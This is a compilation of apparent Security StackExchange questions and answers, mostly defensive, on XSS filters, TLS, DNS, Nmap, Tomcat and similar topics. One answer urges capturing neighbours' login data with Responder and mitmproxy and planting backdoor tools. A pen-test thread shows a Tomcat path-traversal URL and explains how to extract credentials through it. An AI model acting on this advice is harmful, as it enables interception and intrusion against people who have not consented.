What is spam and what is the difference when compared to direct mail? Recently, I was informed about spam emails, but I do not understand the difference between spam and direct mail.

Googling a bit gave this result. But I am still confused.

Can a simple description of a software, its features, and a link to its download be considered spam?

I did not use any bots or special software to ask this question. Just Safari browser.

The main difference is permission. Spam emails (or unsolicited emails) are sent without any permission, and are generally evocative in some way.

Direct emails are those that, while resembling spam in some ways, are sent to you with your permission. They generally inform you of a new product, event, or look to gain some sort of information for statistical purposes that have to do with a service you subscribe to.

While you may not recall giving a certain company/service your permission, this permission may have been given during an application installation, or through a web-forum registration, for example. With direct mail, they will generally give you the option to decide whether or not you wish to receive emails from their sales/marketing teams, before or after the fact.

Direct mail = not bad, received with permission, can be annoying.

Spam = malicious, received without permission, annoying.

As a little addendum, if you are referring to direct mail in the sense of physical mail, like that your neighborhood postal worker would deliver, the differences are obvious, and have nothing to do with security (unless you've got a nasty war-driving postal worker in your area).


What XSS attacks doesn't "Reflective XSS Protection" defeat? Its been quite a while since I have played with cross site scripting vulnerabilities but today I came across a website today that was crying out to be tested for a basic XSS vulnerability.

So dutifully I typed in:

http://example.com?query=

And was quite surpised when I wasn't met with an alert box showing the message 'hey!'.

I checked the source and could see the code was clearly being injected and when I tried something more simple such as:

http://example.com?query=
hey!

It injected the HTML as expected.

This is when I checked my error log and saw this message (in Chrome):

  Refused to execute a JavaScript script. Source code of script found within request

After a bit of investigation I found that this is a feature called "Reflective XSS Protection
" that was introduced in to webkit. If code is seen in both the query and the body then it won't be executed.

So my question: When I've played around with cross site scripting in the past this is basically how I've done it. Does this effectively wipe out a great deal of XSS attacks or just the primitive ones?

There are three major types of XSS:

Reflected XSS
Stored XSS (aka persistent XSS)
Dom-based XSS (aka client-side XSS)

Reflective XSS protection only protects against the first, but does not protect against stored XSS or Dom-based XSS.

Also, reflective XSS protection can often be bypassed.  It does not protect against all reflected XSS attacks.  It's a mitigation, not a strong defense.  Therefore, you shouldn't rely upon it for security: you still need to fix every XSS vulnerability you find.


Problems with Chrome, Skype and Discord - possible MITM attack? Two days ago everything was working just fine, but then I got this error in Google Chrome:

  Your connection is not private. www.youtube.com might attempt to steal your personal information.

At the same time Discord went completely grey, Skype was just rolling, couldn't connect.

I checked Internet Explorer and it was working perfectly. I thought it was just a issue with Chrome, so I cleaned up Chrome, tested again, still the same issue. I tried cleaning it using CCleaner, still the same issue. I did a powerfull unistall using IOBit uninstaller. Reinstalled, still not working.

Then Norton started blocking Reddit, Youtube and Facebook in Internet Explorer.

  www.youtube.com is dangerous

I thought I had a virus so I did a virus scan in Norton, nothing, Avira, still nothing, tried using Malwarebytes, still nothing, tried using AdwCleaner, didn't find anything.

Then I booted up in Safemode, still the same issue. I did a DNS flush. I ran a scan in Wireshark and saw ARP requests. I thought someone was attempting a man in the middle attack. But it only affected one computer. I figured out these requests came from my internet Adapter.

Now I'm getting certificate warnings and it is not like scetchy ones, they are the legit websites. It is like someone is targeting this one computer.

I found this link. But how could this effect skype, discord and steam?

UPDATE:
I fully reset my computer, wiped out everything, reformated my harddrive. My computer started working for three days, then it won't boot, I have to do a system refresh for it to work again, this happens every third to fourth day. I have done it 23 times now. I taken it to the store to get it checked, they say they can't find anything.

It sounds like your problem doesn't come from your machine but, most likely, some other component in your network. The prime suspect would be your router. From your description, it olooks very similar to what would happen if your router's DNS configuration has been changed (at the very least).


What does "DECed" mean in Network Security? As in this MIB documentation: http://www.circitor.fr/Mibs/Html/F/FORTINET-FORTIGATE-MIB.php#fgIpsAnomalyDetections

fgIpsAnomalyDetections  1.3.6.1.4.1.12356.101.9.2.1.1.9
Number of intrusions DECed as anomalies since start-up in this virtual domain

It most likely means "Decoded" in this context, as "decoder" is the language keyword Fortinet uses to describe their anomaly detection:

  The FortiGate IPS uses protocol decoders to identify the abnormal
  traffic patterns that do not meet the protocol requirements and
  standards. For example, the HTTP decoder monitors the HTTP traffic to
  identify any HTTP packets that do not meet the HTTP protocol
  standards.

I would consider this a vendor-specific term rather than an industry term.

Another option might be "Decrypted", because Fortinet uses "dec" as their keyword for "decryption" (e.g., set dec-offload-antireplay {enable | disable}) but I truly think "Decoded" better matches the log entry you're looking at.


Endpoint Information Gathering What would be the best tools to use to get information about a machine/endpoint. For example:

An endpoint was infected with a virus or malware, what would be the best way to get a historical snapshot of the machine (when it was provisioned, last updated, etc.)? I do not have physical access to the system. I don't want to run forensics on it, I just want to get as much information about the machine as possible.

For Windows, Linux, macOS with no previously-installed agents (e.g., either free or commercial agents such as SCCM, JAMF, osquery, LimaCharlie, FireEye HX, Crowdstrike Falcon, et al), I would jump to either GRR or NBD. For Windows, there is an NBD-Server project that can attach either memory (via GRR/Rekall's winpmem) as well as disks to NBD server TCP ports. For Unix and Linux OSes, it's simply nbd-server, available as a package on most distributions (or you can compile it to a specific platform).

The client should probably be a Linux machine and be able to load the NBD driver and use the nbd-client from userspace with The SleuthKit and filesystem mount tools. I have used CAINE Linux as the NBD client as it contains all of the tools necessary (N.B., others prefer SIFT, or via GIFT). You can then use plaso to acquire artifacts. For a full list see the formats here -- https://github.com/log2timeline/plaso/wiki -- or check out the --help and --info flags for each of the plaso tools. One of the best ways to work cases and collaborate on timeline data is to use a tool such as Google Timesketch.

In a way, the above would be running forensics on it, but I still think it's the best way. If you want to run around networks for hunting operations, perhaps check out Kansa or PowerForensics, but both of these are Windows-specific due to their reliance on PowerShell. CrowdStrike also has a wonderful free, open-source software (FOSS) solution, Falcon Orchestrator, that is built for your purpose -- but again, only Windows-specific. The nicest thing about NBD, pmem, and plaso is that you only have to teach the concepts to your staff once and they apply equally-well to all platforms.


Are HTTP calls from hundreds of ips in the same subnet malicious? I've been getting hit everyday with 50-100M calls to my API and I'm trying to identify the subnets that are the sources.

I found by running a match in redis (where all requests from the last 24hrs get logged), matching the first part eg. 40.140.* in redis I found hundreds of matches! That is hundreds of ips all starting with 40.140.*.*

I thought I could use this as a signal of whether or not a particular group of ips were malicious, but I've also found about 200 ips from what looks like my local network, that is ips with the first x.x matching my home network.

Why am I seeing all these ips from the same subnet in my logs? Including some seemingly from my own local network?

EDIT

This is trying to figure out if a particular subnet is a source of malicious traffic based on the fact that we have a lot of calls from the same subnet. There are tens of thousands more ip addresses making requests.

A typical ddos doesn't work on this way. It is in this name: distributed denial of service. If they are coming from the same subnet, they can be called hardly distributed.

However, it is the typical case which can be answered on a by-case basis. For example, if you would be a sysadm of the SE and you would get voting activities in this pattern, the result would be likely a network ban on the subnet.

Check the logs. What are they doing? So can you decide.


Unknown suspects hijacking our WiFi. Caught their MAC addresses I noticed our Internet was bogged down.  I checked the IP addresses of all devices connected and found the MAC addresses of the culprits:

Question: How to find their geographical location based on the MAC addresses?

I know they are in the neighborhood of Columbia, Md. 21045.  One of them is an iPhone and another is an Android phone which would should allow GPS triangulation, but that option is only available to the carrier and law enforcement.

Physically finding them is not easy. If you are really willing to catch them, buy a couple ESP8266 modules (search eBay for them), research this project a little, drop a couple modules around and you can probably find them. But will cost a lot of time, effort and some money.

Even if you cannot physically locate them, you can play some tricks with them:

Install a captive portal, saying the network is an experiment on automated hacking and ask user to only continue if they agree. Ask for email or Facebook auth, or ask for a phone number to send a PIN to login.
Install something like Upside Down Ternet, Backdoor Factory or AutoPwn.
Put QoS in place on your router, and 1kbps bandwidth for anyone outside of a list.
Install Responder along with mitmproxy, get all auth data you can.

My network is pretty secure, but sometimes I think about installing a WEP wifi network just to play around with internet thieves.


Is browsing http sites insecure? So for example this site, security.stackexchange.com, when I look in my browser it doesn't say that it uses https and it does say that my connection is not encrypted. The same goes for, say, twitch.tv.

When you log in to this site, security.stackexchange, it does say that it uses https, but when I'm just browsing the site it says it doesn't use https. Is this secure? If it is, how? Aren't headers and cookies (like session id) and all data in my requests unencrypted and vulnerable to attackers every time I request a new page?

I think we should keep things in perspective here. Is visiting a news site over HTTP non-secure or a security issue?

Visiting a site over HTTP is fine as long as sensitive information is not transmitted over HTTP.

Is visiting this site over HTTP an issue? It might be! If you are authenticated (logged in), the session cookie is transmitted in each request. This could be a problem in public areas.

It is less likely when you're doing this from home. I recommend using a VPN connection in public areas.

In addition you could use an extension for your browser to for to use HTTPS rather than HTTP, it's called HTTPS Everywhere.


How does RusNet block websites with so many separate ISPs? How does the Russian Federation enforce the blocking of websites for end users? I know that ISPs have a database of DNS records that will redirect the user to a corresponding IP address for a given URL. Does that mean that every ISP in Russia has the same DNS and the records are always up-to-date?

The process of Russian Federation enforcing it's filtering of websites for access is by handing down the list of IPs that should be blocked to the Internet Providers that operate within it's borders. How exactly the providers will do that, is entirely their decision, as long as the result is that website is unavailable for access to users trying to access the said websites through ISPs located within Russian Federation.


Single quotes ' not sanitized I'm  trying to find security issues on my friend's site.
There is an input box for subscription. I can enter my email address:

Henry<IMG SRC=# onmouseover="alert('xxs')">@gmail.com

After trying different things, I noticed > < " get rejected.

But it accepts ' $ / # +

If I put my mail as

Henry'sor $/man#@gmail.com

Server accepts the request.

And show response as You are successfully subscribed

It mean my email stored to the database.

Any possibilities for Sql injection?
Or any other vulnerabilities?
Or Blind injections?

Single quotes are allowed by RFC 5322 to allow for people's names that have single quotes (e.g. Peter O'Toole).

Please refer to:
https://stackoverflow.com/questions/4816424/are-single-quotes-legal-in-the-name-part-of-an-email-address

Unless the server changes its behaviour when you use a certain character, then there is no reason to assume that there is a vulnerability.


Zap API: endpoints unavailable I am running Zap version 2.10.0 and was hoping to gain more control of logins with users.authenticate_as_user, link
It is, however, unavailable as when I list attributes of a users object in python I only get (besides dunder methods):
'get_authentication_credentials', 'get_authentication_credentials_config_params', 'get_user_by_id', 'new_user', 'remove_user',
'set_authentication_credentials', 'set_user_enabled', 'set_user_name', 'users_list', 'zap'.

Appreciate any help.

I think you're making assumptions about how the API and API client work that are wrong.
Your best bet is to look at the examples and extensive documentation here:
https://www.zaproxy.org/docs/api/
Also while I can understand the urge to jump right in and automate things, you'll have a much easier time if you get it working in the desktop UI first. Then automate it.
If you're only seeing the methods you listed then it seems you have v0.17 of the python API package (or well at least not the latest 0.0.18 version that corresponds with Zap 2.10) .
user@host:~$ pip install -Iv python-owasp-zap-v2.4==0.0.17 --quiet
user@host:~$ pip show python-owasp-zap-v2.4|grep Version && python3 ./test.py
Version: 0.0.17
['get_authentication_credentials', 'get_authentication_credentials_config_params',
'get_user_by_id', 'new_user', 'remove_user',
'set_authentication_credentials', 'set_user_enabled', 'set_user_name', 'users_list', 'zap']
user@host:~$ pip uninstall python-owasp-zap-v2.4
...
user@host:~$ pip install python-owasp-zap-v2.4 --quiet
user@host:~$ pip show python-owasp-zap-v2.4|grep Version && python3 ./test.py
Version: 0.0.18
['authenticate_as_user', 'get_authentication_credentials',
'get_authentication_credentials_config_params', 'get_authentication_session',
'get_authentication_state', 'get_user_by_id', 'new_user', 'poll_as_user',
'remove_user', 'set_authentication_credentials', 'set_authentication_state', 'set_cookie',
'set_user_enabled', 'set_user_name', 'users_list', 'zap']

So while you stated When I run pip install python-owasp-zap-v2.4 I get: Requirement already satisfied. That simply means the package is installed, not necessarily latest because you didn't ask pip to upgrade it.
https://pip.pypa.io/en/stable/reference/pip_install/

Note that pip install prefers to leave the installed version as-is unless --upgrade is specified.


How to hide device files on linux? I want to hide /dev files on Linux because some files can be dumped and used for reverse engineering/attack purposes.

My primary goal is to avoid users able to see those files from a shell: lurking on internet I've seen udev can be a solution but I want to avoid its use.

Any suggestion?

I would suggest you look at whether or not you can actually do anything with those files on the system you're looking at securing as a regular user.  Most likely, you will find out that most of the really important ones (storage devices for example) already cannot be accessed by regular users, because that's the standard configuration on a vast majority of UNIX systems, even as far back as 4.3BSD and SVR4.  If you're being truly realistic, disallowing non-root access to these device files is probably sufficient for security (if the attacker has root access, device files don't matter because they can probably get code running in kernel space easily, which doesn't need device files to poke at hardware).  If the system in question is configured to use SELinux or another LSM, you can also leverage that (if the default configuration doesn't already) to further limit access.

Even if you hide or block paths under /dev though, that doesn't really prevent people from creating new device nodes elsewhere with the appropriate major and minor device numbers and arbitrary permissions.  You can't easily stop people from creating such files, but you can make them essentially useless by mounting everything except /dev with the nodev mount option, which disables special handling of device nodes on the mounted filesystem.  Properly doing this requires that your root filesystem be separate from /dev (which should be either some automatic virtual filesystem provided by the kernel (such as devtmpfs) or a tmpfs instance populated by a device manager).

Beyond that, a lot of the really nasty ones (/dev/mem, /dev/port, /dev/kmem, and /dev/msr, as well as /dev/hpet) can be completely disabled at compile time.  This doesn't just keep them from appearing in /dev, it means that you literally can't ever have working instances of these device nodes on the system.  Most Linux distributions explicitly disable /dev/kmem these days because nothing uses it, and a lot of them also disable /dev/mem and /dev/port because they are largely only used by legacy software.  /dev/msr on the other hand is usually built as a loadable module (and thus can be explicitly blacklisted without rebuilding the kernel) because there are actual practical uses for it that don't involve attacking the system (for example, debugging CPU power-management issues).

Also, as a sight aside, don't block /dev/null or /dev/urandom, you'll probably break your system if you do, and neither one is a really an attack vector.


Can I move my private-key to a better token? I recently purchased a personal signing certificate from GlobalSign - it wasn't cheap either.

It arrived yesterday. GlobalSign gave me a "blank" USB security token device - a SafeNet eToken 5100. Unfortunately the user-experience is terrible. It requires its own special driver instead of using Microsoft's own standard USB security token driver or emulating a smart-card device. The UI is horribly designed and covered in logos. It's also impossible to get drivers directly from SafeNet / Gemalto, they're distributed by the CA (in this case, GlobalSign). I had issues with the driver's background service refusing to start and my Windows logon-screen now has 6 extra buttons for duplicate token devices even when the USB token isn't plugged in.

GlobalSign also requires the use of Internet Explorer on Windows (not even Edge) to provision the USB token because it uses the Windows Certificate provisioning ActiveX control - you're SOL if you're on Linux or Mac, but at least after the token is provisioned you can use the token with a Mac. This provisioning process is what puts my private-key and the CA-issued cert on the token.

I would like to extract my information from the token and move it to a better-implemented device, such as another USB token that doesn't require special drivers, similar to the experience I had with my old employer's smartcard-based PKI).

What options do I have?

Once you have deployed a private key in a USB Dongle it is impossible to extract it. This is the main reason to use a USB Dongle, to ensure the key is always hardware protected.

The only option is to generate a new private key and request a new certificate


Would my protocol be safe? Suppose I have a protocol like the one below between users A and B;

-A sends random nonce G1 to B

-B sends back hash_k(G1) and random none G2

-A verifies hash_k(G1), then sends back hash_k(G1 | G2)

-B verifies and a connection is made

Would this protocol be safe from eavesdroppers and other attacks like man in the midddle?

Your protocol is not safe by any means!

Example for MitM:

A sends random nonce G1 to B
C intercepts and sends nonce G1c to B
B sends back hash_k(G1c) and random nonce G2
C intercepts and sends hash_k(G1) and nonce G2c to A
A verifies hash_k(G1) (is OK), then sends back hash_k(G1 | G2c)
C intercepts and sends back hash_k(G1c | G2)
B verifies and a connection is made

So C can now intercept all traffic...

Also eavesdropping is possible with your protocol...


Why isn't HTTPS enough to defeat an evil twin attack? I am having a disagreement with a friend concerning how best to defend oneself against an evil twin attack at the local coffee shop, airport, or hotel. According to what I have read it is best to always use a VPN when connecting to a public network period. My friend claims that it is sufficient to just connect to websites that support HTTPS connections. Who is right and why? Thanks!

In general, HTTPS should be enough as long as you don't do anything crazy like installing extra trusted root certificates, or bypassing warnings because you want to see the page.

But, that assumes only HTTPS sites are visited, and there is NO OTHER network activity. How many apps do you have that use the network in the background? Do you know if all of them encrypt their communications? How often do you explicitly type https://? If you browse the web normally you'll be vulnerable to sslstrip.

So yes, in theory just visiting HTTPS site is ok, but if you're on a malicious network, you probably don't want to risk something slipping by you.


Same wildcard cert from two different 3rd party CA's We have a wildcard cert that's due to expire in three months. The CA won't let us renew it until one month prior to its expiration.  We're thinking about using a different CA since we've since purchased other certs through another CA and it'd be nice to consolidate. We can purchase the same wildcard cert from another CA three months in advance of our current wildcard cert expiring.

Our question is this: are there any issues with having two wildcard certs from two different CA's during those three months that their validity overlaps?

Only one of the certs will be 'active' on a given server at a time. We're just trying to give ourselves more time to switch out the certificates.

Wouldn't this be an issue? Clients wouldn't know that there's two certificates for the same domain issued by two different CA's and throw a warning flag? They would just see whichever certificate is currently 'active' on the server and as long as it's valid, it should be used?

You are describing a situation in which you have two separate, valid wildcard certificates signed by separate CAs. Unlike what the current title claims it is not the "same wildcard cert".

There is nothing that stops you from having multiple certificates for the same domain(s).

Clients will verify the validity and trust of the certificate presented by your server according to the steps described in the certification path validation algorithm Wikipedia article.

For a given domain, if a signing root CA for a certificate sent by the server and its intermediate CAs, was trusted by the client, the certificate will be considered valid and trusted.

Unless there was some custom implementation on the client side, it will not consider previously received certificate at all.


Hiding JavaScript source code In a web-app should one strive to hide as much of the code as possible, for example from view source? In particular I was wondering should JavaScript be hidden, especially ones used for Ajax? I was thinking that if the JavaScript was an external file the file could not be on the web server or restricted using .htaccess

EDIT: I realize I can't completely prevent the user from seeing JavaScript as it's interpreted on their end. However I was wondering is there a point in detering them from viewing such code, for example making it slightly harder than simply type in www.mywebsite.com/how_login_is_done.js

Javascript code executes on the client browser, so the client browser sees the code, and every user can obtain it. At best you can obfuscate the code so as to (try to) hide its meaning and behaviour. Obfuscation will not deter motivated attackers (it will just makes them a bit angrier), so it would be quite unwise to use it as foundation for your security model.

If you want to hide code, don't send it to the attacker's machine; keep it on the server side.


Website uses an unsupported protocol. ERR_SSL_VERSION_OR_CIPHER_MISMATCH I just installed a new wildcard certificate on my Ubuntu server (there was a single certificate installed before). I modified /etc/apache2/sites-available/000-default.conf which is for one specific subdomain and updated the paths:

<VirtualHost *:80>
        ServerName www.site.com
        ServerAlias site.com
        ServerAdmin admin@site.com
        DocumentRoot /var/www/html
</VirtualHost>

<VirtualHost *:80>
        ServerName subdomain.site.com
        Redirect permanent / https://subdomain.site.com/
</VirtualHost>

<VirtualHost *:443>
     SSLEngine On
     SSLCertificateFile /etc/ssl/site.com/ssl_certificate.crt
     SSLCertificateKeyFile /etc/ssl/site.com/ssl/*_site_com_DSA_private.key
     SSLCertificateChainFile /etc/ssl/site.com/IntermediateCA.crt

    ServerAdmin admin@site.com
    ServerName subdomain.ipdoc.com
    ProxyRequests Off
</VirtualHost>

After restarting apache2, it asks for the password for *_site_com_DSA_private.key, which I enter and apache2 starts normal [OK].

When opening the page on Chrome I get:

subdomain.site.com uses an unsupported protocol.
ERR_SSL_VERSION_OR_CIPHER_MISMATCH

On Firefox:

no common encryption algorithm(s). Error code: SSL_ERROR_NO_CYPHER_OVERLAP

The paths for the certificate files are double checked. The subdomain first was protected with a single certificate, only for the subdomain. Everything worked.

Ubuntu Version 14.04
Apache2 Version 2.4.7
OpenSSL Version: 1.0.1f-1ubuntu2.22

Looks like you are missing which SSL protocol and in which order to use, also you must specify on which IP should SSL be listening.

And eventually your virtual host with 443 should look like this:

<VirtualHost X.X.X.X:443>
SSLEngine on
SSLCertificateFile /home/user/ssl.cert
SSLCertificateKeyFile /home/user/ssl.key
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1
SSLCACertificateFile /home/user/ssl.ca

 #rest of directives...
</VirtualHost>

Above version will ensure compatibility with most SSL clients.

Make sure to replace X.X.X.X with your server's IP.

Line SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 tells apache which ssl protocols to use.

You can then use some online tool to test validity and quality of your server setup and SSL certificate, one good result for example could look like this:


Rate Limit DNS Subdomain Requests I work at a company that provides a SaaS program for other organizations, and each subscribed organization receives their own subdomain of their choosing - generally they choose the organization name. We recently discovered that there are tools that can use brute force DNS requests to enumerate the subdomains for a given domain. Our company would like to prevent this if possible, as someone could 'build' a list of our clients by doing so.  I'm wondering if there is a way to 'rate-limit' DNS requests, in order to prevent this - we use Cloudflare as our DNS provider, and they do offer rate -limiting for http requests, but I haven't seen anything about DNS request, so I'm wondering if this is even possible.

TL;DR: What you want is not possible due to the way DNS works.
DNS does not work like HTTP where some client accesses a server and where this specific client can be rate-limited by this server. Instead DNS is a distributed directory service, consisting of many authoritative name servers which provide information about "their" domains and additional recursive name servers which collect and cache such information for their clients.
A request to resolve a specific domain will typically not come directly from the client but from another recursive name server which was asked by the client to resolve this domain. This means that there is no direct relationship between a DNS request received by the authoritative name server the and a client: the same client might use different recursive name servers so that the source of the request at the authoritative name server differs. And many client will usually use the same recursive name server so that any rate limiting will affect many clients and not only the specific client one likes to slow down.


Safety protocol for USB flash drives I give a USB flash drive to a friend. He returns it. I don't have a particular reason to suspect my friend of any wrongdoing, but I suspect his computer might be infected. I don't need to browse the flash drive - just make it safe to use again. My thinking is to disconnect all drives, boot DBAN from CD/DVD, insert the flash drive in question, wipe it and then it should be relatively safe to use again.

Any problems that I'm not seeing here?

Do I need to disconnect all drives if they are encrypted - i.e. if there is a payload on the USB drive where would it save itself if they disks are encrypted?

You need to use a USB Drive with some type of firmware control. It's the only way to ensure that the firmware present on the device is identical to the firmware on the device when the vendor created it.

You always need to be able to trust the vendor. Anyone can sell you a USB that has malware on it and you'll never know unless you examine the firmware manually.


What are the benefits and disadvantage of disabling <TLS1.2 client side (in browser)? We are considering disabling TLS1.0 and TLS1.1 in the policies for a browser used organization-wide. We already have a primary browser, where >=TLS1.0 is enabled (i.e. SSLv3 is disabled). We do not know if any sites the user uses, uses

Best practice is to use TLS1.2 and additionally disable RC4- and 3DES-ciphers. It only refers to web server configuration of the SSL/TLS-cihper suites and not really to the client side.

What are the benefits and disadvantages of disabling support for TLS1.0/TLS1.1 client side? How is the user further secured? Could an attacker e.g. force use of a 3DES-TLS1.0-cipher (if the user visits a page using this) or does an attack like that only make the web server vulnerable?

The big disadvantage to users in this case would be that they could no longer access sites which don't support TLSv1.2. Data on those sites is fairly hard to find  (I found a survey from 2014, which found about 1/3 sites supported TLSv1.2, but that's ancient in web terms), so this might be a huge problem, or might be a non-issue, depending on what your staff need to access.

Some of the known issues with earlier TLS versions are actually implementation issues with servers which support them. For those, there isn't any direct client benefit to disabling the protocols.

In terms of avoiding the use of 3DES and other weak ciphers, that's a separate issue - you can use 3DES with TLSv1.2, although there is usually very little call to do so, since a system with support for TLSv1.2 will support stronger ciphers. I'm not aware of a reliable method to reject the use of specific ciphers from the client side.


Nmap TCP scan decreases the progress percentage I'm performing a TCP scan on a network and noticed that nmap decreased the percentage of the progress.

The command is: nmap -A -sT 10.0.0.1-254 -oG scan.txt

Amongst the output I found:

Stats: 0:13:37 elapsed; 211 hosts completed (43 up), 43 undergoing Connect Scan
Connect Scan Timing: About 98.48% done; ETC: 04:04 (0:00:13 remaining)
Stats: 0:17:53 elapsed; 211 hosts completed (43 up), 43 undergoing Connect Scan
Connect Scan Timing: About 98.47% done; ETC: 04:09 (0:00:17 remaining)

Can this be disregarded as a fluctuation, or is there something else about the scan going on, I don't know about?

The per-host completion fraction is calculated (scan_engine.cc UltraScanInfo::getCompletionFraction()) as:

 ports_finished * ( maxtries - 1 ) + probes_sent
 _______________________________________________
             maxtries * numprobes

The total completion percentage is calculated from this across all the hosts.
In a TCP scan (-sT) the number of probes numprobes is fixed to the number of ports (
scan_engine.cc UltraScanInfo::numProbesPerHost()) and never changes after initialization, so maxtries is the interesting term of the calculation. ports_finished and probes_sent are incrementing counters, the above works out to 1.0 when ports_finished == probes_sent == numprobes. numprobes will be 1000, the default number of TCP probes in the example you gave.

If maxtries increases (due to timeout and retry) the estimated amount of work left to do increases, and hence the fraction of work completed decreases. (--max-retries can control this, though with a -sT for TCP connection by the OS IP stack connect() some of the other timeout/retry parameters that nmap supports are ineffective).

The maxtries count is not naïve, it is the high water mark of retries (+1) for a successfully probed port in the scan so far. If you add -d (debug) you will see the message "Increasing max_successful_tryno for 1.2.3.4 to 1 (packet drop)". This is not the same message as "Increasing send delay ...". You will likely see both messages when there is packet loss during a scan.

What you have seen then is a successful TCP probe for a host, but it required a retry, it occurred late in the scan and managed to bump up the upper bound on the work estimate. It probably revised the completion down more than 1%, and packet loss probably cause timeouts to increase, decreasing the scan rate. Approximately 4 minutes elapsed between the two status lines, so the drop in completion was not simply 0.01%.

Service scan timing is a separate calculation.


Using google dorks for a specific site? I need to see if a site I am testing is vulnerable to any of the multiple Google dorks that are available at sites like this and this.
Traditionally, one uses a 'dork' by searching "Index of/"+c99.php"" in Google and getting a whole stack of results.

How can I search for all the dorks for my specific site quickly and easily? Is it even possible?

Edit: For clarification, I have access to, and use a number of commercial paid applications to do web-app scanning. However, i'm having issues with the site using a WAF and limiting my connections which is greatly slowing things down. As a result, I'm more looking for a program that queries Google rather than scanning the site.

Go to http://www.exploit-db.com/google-dorks/ . It is huge repository of Google Dorks . Add site:mysite.com at the end of each relevant dork as mentioned by Brain Adkins and voila you are good to go . A simple python/bash/ruby script to scrape dorks from that site ( for python  http scraping i love beautiful soup ) , append site:mysite.com at the end of relevant ones and its done .

Remember many dorks will not be relevant to your specific website .


What type of captcha will you recommend? What type of captcha will you recommend? I am looking mainly at usability, ease of use (development too), relatively secure

Usability

I find that those captcha with very curly words/numbers are sometimes too unreadable. What I start to see in many applications are simple calculations "Whats 5 + 15". seems simple, but that should be easily crackable by bots, i'd expect?

Security

I am not working on a very secure app, u know just general web apps like project management, forums etc type apps. So I don't require hard core security which I think will be overkill and just mess up the code. I prefer something minimalistic & easy to use

I read about honey pot method too. Where I have a input thats hidden by css. The theory is that bots will fill up all fields. How true is that? That is simple to implement least intrusive, user does not need to do anything. Does it mean that I can just have that without captcha?

There is no 100% secure protection.

All captchas can be cracked. Did you know for instance that there are firms in India which specialize in offering manforce to crack captchas?

There are also tricks like embedding your captchas as frames into other pages which invite their users to solve it to get access to interesting pictures.

I suggest you relax and make it simple. Try the following options one by one.

Integrate with Akismet service
Change the POST Url for your pages to something different. Bots will usually post to the same page Url, and if you won't accept such sumbissions it will keep bots out.
Add a honeypot solution
If 1, 2, 3 fail, add a captcha


What is a good way of embedding rsa encryption into a messaging app I'm learning cryptography and stuck with a problem. Suppose I have a chat app that uses sockets. Before the massage is sent it's encripted with the RSA algorithm; what are some good strategies to safely pass that public key to anyone with whom a user chats?

My second question is how often a public & private key pairs should be updated.

My guess is that keys should be generated whenever a user chooses someone to send a message to, this way all the dialogues will be encrypted separetly, however I'm clueless about the keys: should they be generated on a server or client

You should obviously generate keys locally at the device. Otherwise, a compromised server could leak every single key.
Further, why use a key-pair per conversation? That means a lot of keys. One of the public key crypto systems is that you have a public and private key. The public key is used for encryption, and private for decryption. Thus one public key per client would be enough.
There's no need to keep the public keys secret. Send them to the other party in the conversation. You obviously need to control the integrity of them.
You should also look into topics such as forward secrecy, and how to achieve this.
In short: don't implement this yourself. You will mess it up. Use an encryption library and established protocols, such as Signal (for instant messaging), PGP or similar. You will avoid a lot of pitfalls by using well-tested algorithms and protocols.


Old floppy disk protection can somebody explain in detail how old floppy disks copy protection works?
Someone told me that it was based on an error on a trace of the floppy that was read only during the copy (and never when the program on the floppy was executed)...

Thank you

There were many systems... you can find some references from the Wikipedia page. The core idea is always the same: make a "special" floppy disk such that it exhibits a peculiar behaviour that can be tested for, but not reproduced, with stock floppy disk drives. For instance, make tracks a bit thinner than normal, which allows you to put a bit more data on the floppy; a "normal" drive should succeed at reading the extra tracks (still in the physical tolerance) but not writing the same setup on a brand new disk. Another method would be to have sectors with bad data (checksum mismatch).

Such kind of physical methods were easier to pull off in the 1980s, when you could rely on specific hardware features. An Atari ST was always an Atari ST from Atari, not a clone with possible distinct hardware and thus subtly different behaviour when facing "anomalous" floppies. The openness of the PC architecture mostly killed off copy protection scheme based on weirded up floppies.

The main problem with all such methods is that the corresponding check must be done in some place in the software, so cracking the copy protection scheme usually meant finding the relevant piece of code and changing a conditional jump opcode with a nop (or an unconditional jump). The essence of all these copy protection schemes is security through obscurity, which does not work well, especially when the source element is sold by the thousand and the attackers are schoolboys with too much time on their hands.


Tomcat application arbitrary file read exploitation In recent black-box pen-test of a webapp hosted on CentOS, I found a vulnerability that allowed me to grab contents of files (kind of file inclusion) located within the home path of Tomcat.

In classic scenario, I tried to read /etc/passwd but failed to retrieve contents. It seems, Apache Tomcat forbids web server from reading outside of web app path. Vulnerable parameter located in GET request and application appends .jsp to that and tries to read it.

For example, if we navigate to http://site.com/abc.jsp?param=en then application will try to load /some/folder/somefile_en.jsp file from filesystem. If it fails, it returns HTTP status code 500 with java.io.IOException stack-trace.

For bypassing .jsp restriction, I added ? at the end of vulnerable parameter like this http://site.com/abc.jsp?param=asdasd_asdasd/../../../../META-INF/MANIFEST.MF?. I was only able to read these files:

/META-INF/context.xml
/META-INF/MANIFEST.MF
/WEB-INF/web.xml

I do not know what other files I can read (because I do not have fuzz list for java apps).

Q: Could you give me fuzz list for finding other sensitive files in filesystem or could you suggest me other attack vectors?

P.S. I could enumerate file and directory names based on HTTP response. If file does not exist, this kind of error message appears:

The fact that you're already able to read from web.xml in the /WEB-INF/ directory should be more than enough to give you an idea of which other files you can read. The purpose of web.xml is to have path mappings for Tomcat to understand where to pull specific documents from, so you should be able to take advantage of those path mappings within web.xml to read additional files. Essentially, you should be able to parse the contents of web.xml in order to get the locations for Java source/.class files, and from there you should be able to include those via the bug, and decompile the java bytecode (if they're .class files that you're pulling from the web.xml mappings) in order to pull potentially sensitive data such as SQL/LDAP credentials.

If I'm doing a bad job at explaining this, check an old HackerOne report from my security team. We are exploiting a very similar bug in this instance, and we included the contents of web.xml, appended a ? to the end of the URL to prevent an extension from being added, and then wrote a script to parse the contents of web.xml to get the path mappings for various sensitive .class files containing java bytecode: https://hackerone.com/reports/413193

I'd suggest doing a directory bruteforce on /WEB-INF/CLASSES/* if you (for some reason) cannot pull the mappings for files from web.xml, although you should be able to do that no problem. Check our HackerOne report that I linked. It's a step-by-step guide of how we exploited an almost identical security flaw to what you are currently describing. If you find that report useful, be sure to thank Dominik Penner and Manny Mand, former members of a security group I operated which was responsible for finding those vulns (Dom aka zer0pwn and Manny found this, I'm just the guy who ran the group).

